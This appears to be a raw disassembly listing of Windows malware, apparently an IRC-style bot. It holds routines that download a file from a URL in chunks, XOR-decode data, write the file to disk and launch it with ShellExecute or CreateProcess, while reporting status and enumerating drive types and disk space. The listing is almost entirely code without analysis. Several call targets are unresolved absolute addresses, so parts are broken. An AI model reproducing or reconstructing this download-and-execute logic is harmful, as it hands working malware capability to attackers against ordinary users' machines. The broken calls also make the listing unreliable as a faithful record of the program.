		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_4374DC

loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------

loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB00C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h

loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax

loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2760000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2700000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFC4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAF8C
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]

loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		call	near ptr 2660969h
		nop
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374B0
		push	eax
		call	sub_41B886

loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h

loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h

loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB00C

loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h

loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_437498
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h

loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2670A7Ah
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	near ptr 2700923h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_437614
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		call	near ptr 2660969h
		nop
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_4375E4
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375C4

loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------

loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h

loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAF70
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------

loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_437498
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		nop
		call	near ptr 26E0000h

loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437598
		push	eax
		call	sub_41B886
		add	esp, 14h

loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h

loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx

loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB00C

loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h

loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAE78
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 2700923h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4377E0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26E0000h
		nop

loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		nop
		call	near ptr 26907AFh
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax

loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAE80
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx

loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 26F0000h
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]

loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3

loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377B8
		jmp	short loc_416593
; ---------------------------------------------------------------------------

loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437790

loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCB0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA

loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437764
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		nop
		call	near ptr 26907AFh
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 2660969h
		nop
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43773C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437704
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAEE0
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_4376E8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------

loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376A4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D128
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 2660C61h
		nop
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAECC
		call	sub_418359
		push	esi
		nop
		call	near ptr 77E75CB5h

loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437670
		jmp	short loc_416891
; ---------------------------------------------------------------------------

loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437644

loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFA8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907

loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BA8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------

loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi

loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------

loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFD4
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_437834
		retn
; ---------------------------------------------------------------------------

loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437830
		retn
; ---------------------------------------------------------------------------

loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE64
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------

loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437884
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------

loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437848
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h

loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------

loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAEDC
		lea	esi, [eax+2]
